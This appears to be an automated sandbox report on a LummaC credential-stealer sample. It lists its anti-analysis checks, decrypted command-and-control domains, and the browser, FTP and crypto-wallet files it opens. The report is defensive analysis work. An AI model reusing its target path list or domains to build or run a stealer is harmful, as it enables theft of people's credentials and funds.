Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: COBYmpzi7q.exe, 00000000.00000003.1411486597.0000000004F30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: COBYmpzi7q.exe, 00000000.00000003.1411486597.0000000004F30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: COBYmpzi7q.exe, 00000000.00000003.1411486597.0000000004F30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: COBYmpzi7q.exe, 00000000.00000003.1411486597.0000000004F30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: COBYmpzi7q.exe, 00000000.00000003.1411486597.0000000004F30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: COBYmpzi7q.exe, 00000000.00000003.1411486597.0000000004F30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: COBYmpzi7q.exe, 00000000.00000003.1411486597.0000000004F30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: COBYmpzi7q.exe, 00000000.00000003.1411486597.0000000004F30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: COBYmpzi7q.exe, 00000000.00000003.1411486597.0000000004F30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=COBYmpzi7q.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=COBYmpzi7q.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: C:\Users\user\Desktop\COBYmpzi7q.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\COBYmpzi7q.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: COBYmpzi7q.exe, 00000000.00000003.1582278388.0000000005AA5000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1582909598.000000000106B000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1600319751.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1640527263.0000000001053000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1639653287.0000000005AA5000.00000004.00000800.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1582459376.0000000001053000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1600840055.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\COBYmpzi7q.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: COBYmpzi7q.exe PID: 6184, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: COBYmpzi7q.exe, 00000000.00000003.1547972050.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: COBYmpzi7q.exe	String found in binary or memory: Wallets/ElectronCash
Source: COBYmpzi7q.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: COBYmpzi7q.exe	String found in binary or memory: window-state.json
Source: COBYmpzi7q.exe, 00000000.00000003.1547972050.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: COBYmpzi7q.exe	String found in binary or memory: Wallets/Exodus
Source: COBYmpzi7q.exe	String found in binary or memory: Wallets/Ethereum
Source: COBYmpzi7q.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: COBYmpzi7q.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

